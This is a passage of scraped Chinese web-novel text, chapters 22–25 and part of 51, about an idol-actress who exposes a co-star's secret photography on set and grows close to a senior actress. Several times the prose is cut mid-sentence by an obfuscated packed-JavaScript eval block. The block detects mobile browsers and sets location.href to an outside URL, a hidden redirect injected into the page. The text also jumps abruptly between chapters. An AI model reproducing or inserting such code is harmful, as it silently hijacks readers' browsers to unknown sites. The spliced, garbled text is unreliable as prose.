“我……”齐漫姝立马被问住了。 这问题问得好，但齐漫姝干嘛为了一个不喜欢的人惹石南德？根本犯不着。提醒祝星亦一句已经够意思了。 齐漫姝还未再说些什么，只见祝星亦起身快速朝石南德走去。 齐漫姝不知祝星亦要做什么，心想着这个莽丫头不会是跟石南德对峙把自己供出来吧，连忙跟了过去。 祝星亦一到石南德面前便把他手机夺了过来，语气冷淡却很有气势：“偷拍我？石南德，你找死啊？” 22. 第 22 章 祝星亦的声音清脆响亮，［偷拍］二字仿若一道惊雷，炸得周围人围了过来。 石南德的助理见状，如临大敌般迅速护在石南德身前，冲着祝星亦就叫嚷起来：“你可不要血口喷人啊，赶紧把他手机还回来！” 祝星亦翻了个白眼冷哼一声：“血口喷人？倒不如问问你主子到底干了什么好事。” 齐漫姝也跟了过来，却只敢站在一旁观望，她不敢上前搭话，生怕引火烧身。 被祝星亦戳破偷拍之事，石南德心里一阵慌张，毕竟手机还在祝星亦的手中，这个炸弹随时能被引爆。 助理更是声色俱厉地呵斥祝星亦：“你凭什么说石先生偷拍你？你有什么证据？” 祝星亦扬起手中的手机说：“证据就在这儿咯。” 统筹见这边起了争执，赶忙过来维持秩序。 祝星亦紧紧攥着手机，丝毫不肯松开。 助理在前面与祝星亦理论，石南德却像只缩头乌龟一样，紧闭着嘴巴，妄图完美隐身。 更多人被争吵吸引了过来，苏寄欢瞧见那处有纷乱，赶忙挤到人群当中询问发生了什么事。 挤过去，发现祝星亦叉着腰跟人对峙，硬气十足。 看苏寄欢来了，祝星亦忙凛然地对苏寄欢说：“苏老师我跟你讲，他偷拍我，就他，石南德！” 这副模样宛如一个向老师告状的小学生，还气鼓鼓的。 石南德却狡辩道：“我没偷拍你，不信你看我手机。” 说着，他当着祝星亦的面点开相册，里面确实干干净净，社交软件也毫无异样。 周围的人开始窃窃私语起来。 “祝星亦是不是有被害妄想症啊？” “就是啊，就算长得漂亮也不能随便污蔑别人偷拍啊，真把自己当成大明星了，不过就是个有背景的花瓶罢了。” “呵呵，女艺人就是矫情，就她身上二两肉，谁稀罕看。” 齐漫姝满心疑惑，她明明看到石南德对着祝星亦拍来拍去，还传到群里，怎么现在什么都没有呢？ 祝星亦却丝毫不慌，镇定自若地说：“给我点开你手机的分身模式。” 石南德额头冒出冷汗，梗着脖子说：“我为什么要听你的？你这是无理取闹！” 祝星亦提高了音量，“你这个手机有分身模式，你要是点开让我们都看看，我就给你道歉，你敢吗？” 周围的人都紧紧盯着两人，助理却还在强撑着，上前一步说道：“你说让他点开他就点开？你以为你是谁啊？一个五六线的小艺人也敢跟他叫板？” 苏寄欢这时站了出来，她一脸严肃道：“如果真是一场误会又不便于在此处说开，那不如交给警察好了。” 苏寄欢说着，祝星亦叉着腰仰头看向两人，声音有力，“对！” 顿时，助理有些慌张：“没必要惊动警察吧，这就是个小误会。” 苏寄欢一脸平静，“小误会？这可不是小误会，既然有人提出偷拍质疑，我们就应该按照正规的方式来解决，移交给警察准没错。” “就是就是。”祝星亦附和。 苏寄欢低眸看了祝星亦一眼，这副气势十足的模样，可爱得紧。 怕真的闹到警局，石南德忙说：“我点开。” 点开分身模式的瞬间，群里的消息像潮水般涌来，屏幕上全是讨论祝星亦的内容。 再点开相册，里面有很多祝星亦的照片，甚至还有别人的偷拍照。 齐漫姝一看，这人居然还偷拍了自己，顿时火冒三丈，冲上去抬手给了石南德一巴掌，清脆的巴掌声在寂静的空气中回荡。 嚯，这巴掌真响。 祝星亦心里暗忖，这齐漫姝看起来还挺温柔的，没想到脾气这么火爆。 不过她心里倒是觉得打得好，甚至期盼着齐漫姝能再多打一巴掌。 果然，齐漫姝紧接着又狠狠地甩了石南德一巴掌。 好好好！ 祝星亦忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝星亦正要踢第二脚，慌忙赶来的秦永欣把她拉住了。 秦永欣吓得一头汗，她就刚离开一会儿，这里就闹得不可开交了。 报警之后，祝星亦积极配合做笔录，石南德则被警察带走。石南德偷拍一事在剧组掀起了轩然大波，剧组当机立断换掉石南德，好在很快找到新演员，没有耽误太多的进程。 秦永欣心有余悸，觉得这种事情绝不能再发生，毕竟对祝星亦来说实在危险。 解决完事情，她找到张静怡询问：“星亦出事的时候你去哪里了？” 张静怡却倒打一耙：“不是你在看着她吗？是你玩忽职守吧，永欣姐。” 秦永欣竟不知此人这么不要脸，本要再与张静怡理论一番，看她那满不在乎的样子，秦永欣甩手离开。 先前秦永欣听说祝星亦在《周，友》后台和其他艺人起争执一事，秦永欣还不信，毕竟祝星亦怎么看都非如此烈性的女子。这次经历之后，秦永欣对祝星亦完全改观。 祝星亦生得漂亮，五官明艳动人，一颦一笑皆是漂亮爱豆的优雅，谁见了她都要多看几眼。 平日里祝星亦除却和苏寄欢沟通剧本，剩下的时间都自己一个人待着，偶尔会同导演探讨表演思路，很少和现场的一些艺人沟通。 舞台上的她是多变的妖娆狐狸，舞台下却是完全投身于事业的工作狂。 眼神坚定，心无杂念，野心勃勃。 偷拍事一过，秦永欣需要给祝星亦的印象再加一个［虎得不行］。 太虎了。 黎芷恩知道发生这事之后吓得不得了，她的剧组第一次发生这种事情。 苏寄欢绞着手满头大汗眯眼笑说：“芷恩，这不恰恰证明我选她演阿星是个很正确的选择吗？你看她，性格直率，敢说敢做，还……” “还狗仗人势。”黎芷恩揉着眉心无奈叹道，“很好，你选的演员很好，我无话可说。” “她年纪小，才进圈，在这个剧组谁也不认识，除了我，你看她自己一个人怪可怜的。她那两个公司你也知道……” “别说了，我不追究她责任好吧。”黎芷恩知道苏寄欢要说什么，不然也不会苦口婆心给祝星亦说好话。 苏寄欢笑笑，“肯定不能追究，另外就是，你得鼓励……” 黎芷恩拍案而起：“我还得鼓励她啊！我鼓励她下次朝我脸上扇巴掌吗？！” 老天奶，打人这种事还鼓励，那下次黎芷恩要是指出祝星亦哪里演得不好，祝星亦不得库库朝她扇几个大耳刮子啊！ 苏寄欢眯着眼，嘴角上扬，沉默。 沉默。 黎芷恩抱着头躺在沙发上，“知道了，我夸她行了吧！” ～～～ 风波过后，剧组正常拍戏。石南德已经受到惩罚，虽说有本剧的负面消息传出，但很快被压了下去，刷到的人也无法得知更多消息，此事便不了了之。 祝星亦可没放过石南德，现在正在拍剧，负面消息不能太多，待剧播出之时，祝星亦必会把偷拍一事传出，要那石南德半条命。在此之前，就让石南德战战兢兢熬个半年。 黎芷恩对祝星亦的行为表扬一番，“小祝，你表现得很好，提前为剧组剔除一个炸弹，我这得好好鼓励你，没有你，我们剧组就要完蛋啦！哈哈哈！你可是救星呀！啊哈哈哈哈——” 黎芷恩笑得十分僵硬，跟疯了似的，一旁的苏寄欢给黎芷恩偷偷竖起大拇指。 黎芷恩真善良，祝星亦想，这种导演可遇不可求。 听着黎芷恩的赞美之词，她叉着腰感叹，我可真蒂啊。 就是她还欠苏寄欢一个诚挚的歉意。 拍戏繁忙，她没时间跟苏寄欢好好聊聊这个事，只能等着休息日。 连续拍了多日，苏寄欢的好友姜妤璇来剧组探班，正逢休息日，姜妤璇出手阔绰，带剧组的人去附近餐厅用餐。 姜妤璇和苏寄欢搭过戏，年纪很小的时候就在片场认识了。姜妤璇现已转制作人，时而在镜头面前活跃，自在得不得了。 瞧见姜妤璇和苏寄欢谈笑甚欢的模样，祝星亦止不住羡慕。她们在圈内有自己一席之地，有相对的话语权，有自己的圈子。 羡慕了两秒，她马上给自己打气。 不慌，她也能拥有，迟早的事儿。 “祝星亦，来。” 祝星亦正想着，苏寄欢朝她招手。 剧组已收工，两个小时后大家将去餐厅用餐。 祝星亦走去，苏寄欢给姜妤璇介绍起来。 姜妤璇打量了下祝星亦，苏寄欢跟她聊过祝星亦，说尽了好话。 这可让姜妤璇很是好奇，苏寄欢可从没夸过别人，连自己旗下的艺人都不怎么夸赞，这祝星亦究竟好到什么地步才能让苏寄欢舍得夸人？ 姜妤璇和苏寄欢相识已久，太了解这位挚友的脾性。苏寄欢待人礼貌却疏离，嘴上会说些好话，心里却是事不关己高高挂起。 冷冷淡淡的高岭之花，最爱的是在镜头下表演以及帮公司的艺人挑挑剧本。 在这个圈子里，能抱着一腔热忱的只有事业，待人接物只需要面子上过得去就行。何况大部分人交友都是为了利益，长久下来，再热的心也会变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想起偷拍的事齐漫姝心有余悸，但她对祝星亦算是有点改观。 本以为是娇气没演技的花瓶，没想到演得没那么差不说，还挺能吃苦，演丫鬟也演得认认真真。 齐漫姝将这个功劳归结给苏寄欢，苏寄欢可是时时刻刻都在给祝星亦讲戏，每个眼神动作都亲身示范，祝星亦即便不能完全复刻，也能演得不那么烂。 有个好老师真好。 齐漫姝也想要。 “话说你给了苏小姐什么条件，她才愿意亲自指导你？”齐漫姝对祝星亦这待遇羡慕至极，谁不想要实力演技派的前辈教自己呢？ 齐漫姝觉得祝星亦一点都不把这么珍贵的机会放在眼里，祝星亦被教导时完全一副普通学生模样。 若是换了齐漫姝，她定是要星星眼看苏寄欢，对苏寄欢输出许多彩虹屁。 祝星亦饿极了，眼里只有桌上的吃食，听齐漫姝问，答道：“以身相许，行了吧。” 24. 第 24 章 齐漫姝翻了个白眼，“你跟苏小姐以身相许？别骗人了。” “那你还问？” “我问不行？” 祝星亦炫了口菜，“傻得很。肯定是资源互换呗，我就是个小喽啰，谁在乎我啊。” 齐漫姝觉得自己好像对祝星亦有点误会，“所以……你不是有很强的背景才……” “背景？我也想有啊。”提到这个，祝星亦不免难过了些，“可惜，一个人不会永远对另一个人产生价值，时间到了就被抛弃了。你看我怪光鲜亮丽的，其实我的两个公司都不在乎我，我只是个赚钱的工具罢了。” 看她有些低落，齐漫姝不知道说什么好，拿起公筷给她夹了块肉，“你和苏小姐搞好关系，说不定她会扶你一把，你在这圈子里也能有个倚仗。” “想多了吧你，想和她搞好关系的人那么多，我算老几？” 齐漫姝嘁了一声，“我看未必，我觉得她对你可关注了。” “啥？” “没啥，来，喝酒。”齐漫姝是个爽快人，给祝星亦倒上酒，“咱俩也算是巴掌之交了，这段时间在剧组，就请多多关照啦！” 还真是巴掌挚友呢。 祝星亦举杯跟她碰，“多多关照！” 吃多了喝多了，祝星亦肚子圆滚滚的。她捏了捏肚子上的肉，起身去洗手间。 洗完手回包间，走廊上遇到结账的苏寄欢。 祝星亦有些纳闷，扶着墙走过去。 一阵浓烈的酒味儿窜了过来，苏寄欢皱着眉头转头，看到脸颊红得像熟透桃子般的祝星亦。 她的头发有些凌乱，明艳的脸藏在发间，衣裙上还沾染着星星点点的酒渍。 “苏老师。”祝星亦脚步虚浮，眼睛半睁半闭地问道，“怎么是你来埋单呀？” 酒味儿混合着香水味，轻轻飘进苏寄欢的鼻子里。 苏寄欢一愣神，很快又恢复如常，“妤璇在跟黎导他们聊天呢，我代她出来埋单。” 祝星亦趴在前台，声音透着懒散：“我还以为姜小姐这么小气呢，说好了她埋单，却要你花钱。” 苏寄欢结完账浅笑着说：“即便我来花钱，也没什么问题，就当请大家吃顿饭罢了。” “亏了。”祝星亦感觉有点热，又有点困，嘟嘟囔囔，“大家都知道是姜小姐请吃饭，最后却由你花钱，那不是亏了。” 苏寄欢侧头看向祝星亦，小狐狸双颊泛红，眼神迷离，十分可爱。 但又有些担忧她喝多了，苏寄欢接了杯热水，轻声问：“你是不是喝醉了？” “没有。”祝星亦将头埋在臂弯里，闷声说。 苏寄欢想了想，提议道：“那我带你去天台坐坐吹吹风？” 一听“天台”二字，祝星亦身子像触电般一激灵，猛地往后退了几步，一屁股坐在地上，双手不停地摆手，声音带着惊恐：“我不去天台，我不去。” 怎如此慌张？苏寄欢疑惑。 苏寄欢赶忙把她拉起来，哄她：“好好，那就不去，我们去花园坐坐。” 去花园坐下，苏寄欢把热水递给她，她喝了几口，缓了一会儿。 想到自己还欠苏寄欢一个道歉，祝星亦抬起头看着苏寄欢，真诚地说：“苏老师，我打石南德的事，对不起啊，肯定给你丢脸了。” 苏寄欢不以为然，“这怎么叫丢我的脸？你当时那么勇敢，做的也是很正确的事。” 祝星亦摇头，有些愧疚地说：“不管怎样，这件事影响不小，还是给苏老师添麻烦了。” 祝星亦靠在椅子上，人还在微微醉着，坐姿也不太雅观，身子歪斜眼睛半眯着，“苏老师，你有没有后悔让我进这个剧组？我总是会惹事，你每天还要给我讲戏，我是不是特别拖你后腿？” 满怀的歉意，和扬言要撕烂别人嘴的样子差别极大。 会呲牙咧嘴，也会耷拉着耳朵和尾巴。 这只小狐狸，凶得很，也乖得很呢。 靠在椅背上看夏夜的星星，苏寄欢嘴角带着一丝笑意，“当别人老师，对我来说倒是一份有趣的体验。” 祝星亦眼睛里满是疑惑，“有趣……苏老师，你可以回答我吗？你要我来演这个剧，到底是出于什么目的？其实，艺域有很多比我更好的人选。” 苏寄欢垂眸想了想，她自己也不太明白当初的想法，含糊地说：“兴趣更大一点吧。” 别人还是祝星亦来问，苏寄欢总给不出答案。究竟是因为兴趣，还是因为利益，抑或是因为别的？ 苏寄欢完全想不通，只知道一件事：她不能让祝星亦被晏瑾年吃掉。 晏瑾年吃人不吐骨头，祝星亦到时候不会过太好。这个想法，从她得知祝星亦吻晏瑾年时就萌生了。 苏寄欢也觉得奇怪，她和祝星亦不相识，祝星亦也不是她手下的艺人，她可以视若无睹，可为何，为何…… 那团不知名的东西卡在心头，她若不出手，总憋得难受。 为什么？究竟是为什么？苏寄欢想不明白。 祝星亦转过身子，眼睛直勾勾地看着苏寄欢清冷平静的侧脸，问：“是对我喜欢晏瑾年的兴趣吗？” 苏寄欢诧异地挑了挑眉：“怎么会这么问？” 祝星亦没有回答，只是闭上眼不再吭声。 苏寄欢轻声说：“我不知道你喜欢晏瑾年是出于什么，觉得她有魅力？还是想要从她身上获取什么？” 祝星亦依旧闭着眼，懒懒散散地答：“如果都有呢？如果都有的话，苏老师会怎么看待我？” 苏寄欢似乎料到她会这么回答，平静地说：“我理解你，也尊重你。你的两个公司都不重视你，你想在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14392537|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈子里立足，自然要通过一些途径换取机会。但，晏瑾年不是你的良人。” 祝星亦自嘲地笑了笑，问道：“那谁是我的良人？” 沉默了一会儿，苏寄欢缓缓说：“你不了解她，她是一个纯粹的商人，她比任何人都精明，她不会做赔本的买卖，她只会榨干别人的价值。而你初入圈子，你根本……” “苏老师。”祝星亦突然打断她的话，苦笑着说，“你为何要提醒我这些，我这样想要攀龙附凤的人，以后有什么结果，那不就是自作自受？” 燥热的夏夜，偶有凉风吹来。 苏寄欢攥着手，语重心长道：“可能努力在这个圈子里是最不值得一提的东西，资源和背景才是要争抢的香饽饽，但如果一直依附他人，你无法真正出头。尤其是，你想要依附的人是晏瑾年。你比我见过的很多人都特别，工作认真，又很有拼劲儿，还很直率，如果……” “噗呲。”祝星亦忍不住笑出声来，她没想到苏寄欢竟然把自己的莽撞和不礼貌当成直率，笑着笑着，眼泪却不由自主地流了下来。 这样的话，这样的夸赞，晏瑾年从未对她说过。晏瑾年只会说：“我给你的还不够多吗？” 苏寄欢瞧见她哭了，有些慌张，以为是自己刚刚说话太重了，比如把祝星亦和攀龙附凤画等号，她着急去道歉。 祝星亦弯腰捂脸哭。 身处黑暗的人，稍微遇到点光亮就会感到很温暖。 好温暖，哪怕那会是客套话。 好温暖。 “谢谢你。”祝星亦闭着眼，小声地说，“谢谢你，苏老师。” 苏寄欢欲言又止。 总见她哭，自己也会莫名地难过。好像那份难过源自自己，眼泪也是为自己流。 奇怪。 奇怪。 苏寄欢默默给她递上纸巾，静默片刻，欲要找些其他话题，突然感觉肩膀一沉。 一转头，发现祝星亦靠着她的肩睡着了。 苏寄欢侧头看着祝星亦，思绪复杂。 许久，她小心翼翼地搀起祝星亦走向车子。 到车里后，苏寄欢给姜妤璇发消息说自己先走一步。 酒店，苏寄欢把祝星亦扶回房间。 轻拿轻放，备上温水放桌旁。 床上的人嘴里嘟囔着：“晏瑾年，晏瑾年……” 苏寄欢坐在床边，静静地看了祝星亦好久。 有想依附晏瑾年的心，也是真心喜欢晏瑾年的吧。 傻狐狸，那个晏瑾年有什么值得你流眼泪的。 “笨狐狸，我喊你助理回来照顾你。你好好休息。”苏寄欢扯了下被子，守了片刻，秦永欣回来，她才离去。 祝星亦翻了个身，嘴里恶狠狠地嘟囔：“劁你大爷的狗屎晏瑾年，你这个剑冢怎么还不死。” 25. 第 25 章 祝星亦酒醒后头蒙蒙的，第二天到剧组，刚换好衣服，她跑到苏寄欢身边问：“苏老师，我昨天喝醉没干啥坏事吧！” “坏事？”苏寄欢挑眉，点头道：“当然有。” 祝星亦如临大敌，眉毛挤成八字，嘴往下撇着：“我是……说胡话了，还是……” 苏寄欢一副苦恼的模样，“比这个还严重些。” 祝星亦碎着步子过去抓住她的衣袖一脸抱歉：“我不会吐你身上了吧，啊啊啊啊我真的，对不起啊苏老师，我不是故意的，我喝酒就容易发疯，我我我我……” “没事。”苏寄欢拍拍她的手，“先对下戏吧。” “可是……” 苏寄欢弯腰拿起剧本，卷成筒，敲了下她的头，“别可是了，昨天的事就不要想了，今天的事才重要。” 祝星亦瘪嘴，什么昨天的事不重要，她自己可在意了。 以后怎么面对苏寄欢啊！自己可是吐了苏寄欢一身！ “那个……苏老师啊……”祝星亦看剧本看不下去，“你的衣服……” “哦，洗过了。”苏寄欢淡淡道。 “那我……” 苏寄欢眉目带笑，“你要是觉得实在抱歉，晚上收工后，陪我去逛街，如何？” 祝星亦一听，忙答应道：“好呀好呀！谢谢你，苏老师。” 上午的第一场戏是闺阁戏，阿星和顾明月在闺阁内梳妆。 走完戏，苏寄欢拿着篦子跟黎芷恩说：“这个拍出来的话剧情效果可能一般，不然我俩换一下，顾明月给阿星梳妆，显得姐妹情深些。” “这也行。”黎芷恩准备想着改剧本，苏寄欢打断她。 “这种戏随意发挥就行。”苏寄欢整理了下衣服，“我带她演。” 和祝星亦商量了下表演走向，苏寄欢要她坐下。 “等下我给你梳头，你讲那些台词就行，或者你顺着我的台词随意发挥。”苏寄欢的手按在祝星亦肩上，缓声说。 “好。” 梳头，绾发，苏寄欢给祝星亦插发簪。 盯着镜中的漂亮姑娘，苏寄欢说：“阿星这么好看，我可舍不得阿星离开我。” 祝星亦抓住苏寄欢的衣袖说：“我不会离开小姐的，我要跟小姐一辈子。” “阿星遇到喜欢的人就会离开我了吧。” 祝星亦摇头：“才不是，阿星最喜欢小姐了！” “然后，抱我。” 听苏寄欢这么要求，祝星亦转过身抬手，愣了下。 她坐着，苏寄欢站着，她一抱就能抱住苏寄欢的腰。 “抱吧。”苏寄欢看她不动，提醒，“等下演的时候，你可以直接抱住我。” 祝星亦犹豫了下，抱住苏寄欢的腰。 她顺着苏寄欢的台词说：“不！阿星永远不会离开小姐！” 勾头笑着，苏寄欢抚摸祝星亦的头发，“那我也永远和阿星在一起，不分开。” 紧紧抱着苏寄欢，满鼻子都是柚子花香。祝星亦想挪动身子，却觉得苏寄欢在按着她。 再动一下身子，苏寄欢方放开她。 正式开拍，一条过。 卡声过后，苏寄欢放开祝星亦，为她拨了下被自己抚摸乱的发，“不错，挺好的。庭院还有一场戏，你再看看剧本。” “嗯。”祝星亦老实点头。 “这段效果可以吧？”苏寄欢坐在黎芷恩身旁观看刚才的戏。 黎芷恩点头笑说：“可以可以，姐妹情深。” “那就好。” “你咋还微醺上了？”黎芷恩望着苏寄欢绯红的脸狐疑道。 “哦，有吗？”苏寄欢淡声问。 “真有。” 苏寄欢抬眸，望见远处捧着剧本认真看的小狐狸，声音沉静：“可能，入戏了吧。” “入戏是好事啊。” “是吗？” “但杀青后要记得快些出戏啊鸭鸭。” 苏寄欢顿了顿，轻轻嗯了声。 ～～～ 拍戏多日，剧组休三天。 祝星亦难得有三天小长假，抽空回艺域看看，同队友聊聊剧组新鲜事。 她们来看过祝星亦两次，只是通告繁忙，看完就匆匆离去，鲜少聊天。 “对了星星，你跟苏小姐搭戏搭得怎么样啊？”费若澄对这个感兴趣，祝星亦和苏寄欢这么大牌的人搭戏，对方会不会欺负她？ 林芮佳心直口快：“是啊，苏寄欢有没有在你面前耍大牌？她热搜天天那么多，你要是和她关系不好，哎，那可完蛋了。” 夏诗晴问：“她有没有为难你？比如说你演丫鬟演得不合格之类的。星星啊，其实当时你要演这个角色我就很担忧，演人家丫鬟，演得好了说你艳压，演得不好说你不好，啧，做演员真难，这就是我不愿意演戏的原因之一。” 费若澄调侃：“原因之二呢？” “原因之二是没人找我演。” “哈哈哈哈哈！” 祝星亦喝了口碧螺春，这茶是苏寄欢之前给的，她时常会泡点喝，但总不如先前苏寄欢给她泡的好喝。 “我觉得，苏老师挺好的，她是个好人。”祝星亦真诚道，“真挺好的，我很尊敬她。” ～～～ 休息日最后一天，祝星亦赶往酒店。过段时间Shinyfive将有一个新MV要录制，歌舞都要练习，祝星亦只能趁拍戏间隙先练一练，然后挤时间去录MV。 自打秦永欣来了，张静怡不怎么搭理祝星亦，只做些有的没的琐碎小事。祝星亦拿张静怡没办法，赶又赶不走，只能先忍着。 秦永欣跟剧组那边提前沟通，假日过后的戏份须得紧凑些，给祝星亦留出录MV的时间，赶完录制再继续拍戏。 一条信息弹了出来，祝星亦查看，竟是晏瑾年发来的。 拍戏期间，祝星亦倒是去探班过晏瑾年，不过最近拍戏忙她没去，晏瑾年竟发消息问她有没有空探班。 祝星亦挑眉，然后不理会她的消息。 等了二十分钟祝星亦才动手指回复有空，说下午会过去。 换了身漂亮衣裙，她踩着高跟去《辞旧赋》剧组探班晏瑾年。刚到，剧组没几个人，问了下工作人员，称晏瑾年请剧组的人聚餐了。 聚餐？祝星亦愣在原地。可晏瑾年不是发消息让她来探班的吗？ 祝星亦赶忙联系晏瑾年，晏瑾年说稍后就到，要祝星亦先等等。 来都来了。 祝星亦咬咬牙等了半个小时，看人还没来，有些焦灼。发消息问晏瑾年，那边没回应。 两个小时过去了，晏瑾年那边还没回应，打电话也没人理，祝星亦捏着拳头冷哼一声，“晏瑾年，你耍我呢？” 祝星亦抓着手机离开剧组，气上心头崴了下脚，骂骂咧咧去路口打车回酒店。 天公不作美，还没去路口天降大雨，淋得祝星亦浑身一激灵。 附近也没避雨的地方，祝星亦跑了两步，高跟鞋崴脚，她一瘸一拐走着，然后握拳站在雨中。 晏瑾年竟然敢耍她？狗东西怪是给点阳光就灿烂啊。 淋着雨，阴郁的天让祝星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14392538|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦心里一阵悲凉。 算了。 她抹了把脸，迈着沉重的步伐走到一处避雨的角落。 好冷。像死的时候那样冷。 她蹲下来。 不知道自己去世后，妈妈还好不好。 很多时候她都想跟妈妈道歉，挤破了头进娱乐圈，结果在圈子里并不好过，想退出又不甘心。 每每妈妈问她还好不好，她都说，我好呀妈妈，我有很多粉丝，我很好。 嘁，糟糕透了。 她无力地垂下头，雷声轰鸣，眼泪顺着雨水流下来。 高跟鞋立在祝星亦身侧，伞合上，水珠滴落。 苏寄欢缓缓蹲下身子，与祝星亦平视，“在这里哭，不冷吗？” 轻轻地一声问候，有些担忧的语气。 祝星亦拼命抹眼泪，哽咽着转头，“苏老师，你怎么在这？” 傻狐狸又哭鼻子了。 苏寄欢叹口气，把手里的外套给她披上，“听人说你要来探班晏瑾年，正好我也闲，想着过来看看，还没去，看到你了。” 苏寄欢从外套里掏出一包纸巾递给祝星亦，静静望了她一会儿，有些疼惜，“她对你说难听的话了？” 祝星亦用力摇头，泪水再次夺眶而出，“没有，她根本没见我。” “不见就不见，我也不见她，走，我带你回去吃火锅。”苏寄欢拉她站起来，给她整理衣服。 祝星亦带着哭腔说：“我不想吃，我什么都吃不下。” “那就先回酒店洗个澡好吗？别感冒了。”苏寄欢说。 她靠近，淡淡的柚子花香，祝星亦嗅着，眼泪少了许多。 苏寄欢再次撑开伞，“我车在路口对面停着，走。” “嗯。” 走入雨幕，祝星亦抓着苏寄欢给她披的衣服挤在苏寄欢身旁。 祝星亦身上全湿了，无比狼狈，跟掉进水坑似的。 真是傻啊。苏寄欢往祝星亦身旁再靠近些。 “回酒店，我给你煮苹果柚子茶，行不行？”苏寄欢问。 “行。” “这下吃得下了？” 祝星亦：“苏老师做的，得尝尝。” 声音还有点哭腔，委屈巴拉，像森林里淋了一身雨，最后躲在自己采的蘑菇下的傻狐狸。 苏寄欢抿着嘴笑了笑，雨伞再往可怜的小狐狸那边倾斜。 “不过苏老师，苹果柚子茶是什么？你自己研究的吗？” “你尝尝就知道了。” ～～ 红灯，迈凯伦停在线前。 百无聊赖的夏暖瞅了眼道路，瞧见熟悉的人，“那不是祝星亦吗？旁边那个是……诶？啊？居然是……苏寄欢？她俩这么熟吗？” 过斑马线的两人同撑一把伞，两个倩影，颇引人注目。 罗瑜不屑地哼了一声，“不熟的话苏寄欢邀她演戏做什么？幸好早就知道这个女人是什么货色，攀龙附凤的家伙，一个攀不上，赶忙换另外一个。” 后座深灰套装的女人微微眯眼，冷冷地看着斑马线上的两人。 雨丝斜斜打着，冲刷整个世界。 隔着窗户，晏瑾年和黑裙女人遥遥对视，黑裙女人朝车辆微笑。 明晃晃的挑衅。 晏瑾年眉心闪过一丝不悦。 黑裙女人的手抬起，缓缓覆在狐狸背上。狐狸身上的衣服……好像是那女人的。 心中涌起一股莫名的烦躁。 绿灯亮起，晏瑾年开口：“罗瑜，帮我约一下苏寄欢，我要跟她吃顿饭。” 50-60 第51章 她跟我回家 祝星亦愣了一下，没想到苏寄欢第一句话是说这个。 她沉默了一会儿，小声说：“再说吧，我妈挺忙的。 片刻后，苏寄欢落寞的声音响起：“哦，这样啊。” 最后一个字落下，空气仿佛凝固了一般，只有远处隐隐传来的晚会音乐声。 后台来来回回涌进涌出许多人杂乱的声音不绝于耳，两个人的角落静悄悄。 苏寄欢深吸一口气，打破沉默：“星星，跨年快乐。” 好奇怪的贺词，跨年快乐干什么？等不到0点了吗？ 祝星亦依旧没有看苏寄欢，只是轻声回应：“嗯，跨年快乐。” 细小的声音都在这里被放大，比如不自然的呼吸声，还有咚咚的心跳声。 祝星亦歪着头和身子，倔得很，犟得很。 “还有什么事吗？”祝星亦冷着脸，声音也冰冷，“没事就别在这里了，你把我队友都吓跑了。” 祝星亦不高兴时就会这样，会对惹她生气的人冷冰冰，如果没有利益牵扯，指定要因为冷冰冰断送两个人的关系。 有时候祝星亦会复盘自己到底是什么样的人。 自卑的？懦弱的？友善的？还是别的？ 这些祝星亦总结不了多少，不过她觉得邪恶可以形容自己。 邪恶的小心思，邪恶的性格，邪恶的嘴脸。 动不动就有情绪，翻脸不认人。 其实祝星亦觉得苏寄欢的点评很精准，绝情。 她就是个绝情的人。 有的人或事，她要是认清了或真的被伤害了，她绝对要心狠手辣还击，绝情无比。 如果认不清……那自己只能当个傻傻的、被操控的笨蛋了。 苏寄欢听到那番话，心凉了半截，有些苦涩道：“我只是想跟你道个歉，之前总是比来比去，惹你不开心了，不好意思。” 祝星亦不作声，苏寄欢便继续说：“是我对不住你，总是为难你，对不起。” 苏寄欢不是很想承认她为难了祝星亦。 她怎么可能为难祝星亦呢？但祝星亦一旦这样把罪名安在她身上，纵使她有十张嘴，她也是说不清的。 祝星亦牙尖嘴利的，有时候说什么就是什么，苏寄欢根本说不过她。 像之前，祝星亦总是用[不可亵渎］[不可玷污］来形容她，她拼了老命去辩解也没有用。 这个可恶的狐狸，看起来倒是个乖巧的好学生，其实可怕透了。哪怕是哭得梨花带雨无比可怜，都能逼得她退到悬崖边缘。 苏寄欢很想问祝星亦，她为什么总是逼她呢？为什么祝星亦看起来不怎么强势，实际上能轻易把她生活搅得一团乱，到底为什么呢？ 苏寄欢蜷着手指叹口气，算了，还是不问了，再问又该说自己为难她了。 “说得比唱的好听，一点都没诚意。”祝星亦哼一个小调，眼睛往一旁瞥了下，赶忙收回，说完马上双臂交叉着，下巴扬起，嘴巴噘得跟茶壶似的。 苏寄欢垂着头起身，缓缓站到祝星亦身前。 阴影盖住了祝星亦，祝星亦一慌，双手护在胸前有些不开心道：“你……你干什么，你想逼我……” 话还没说完，苏寄欢蹲了下去。 祝星亦愣住了。 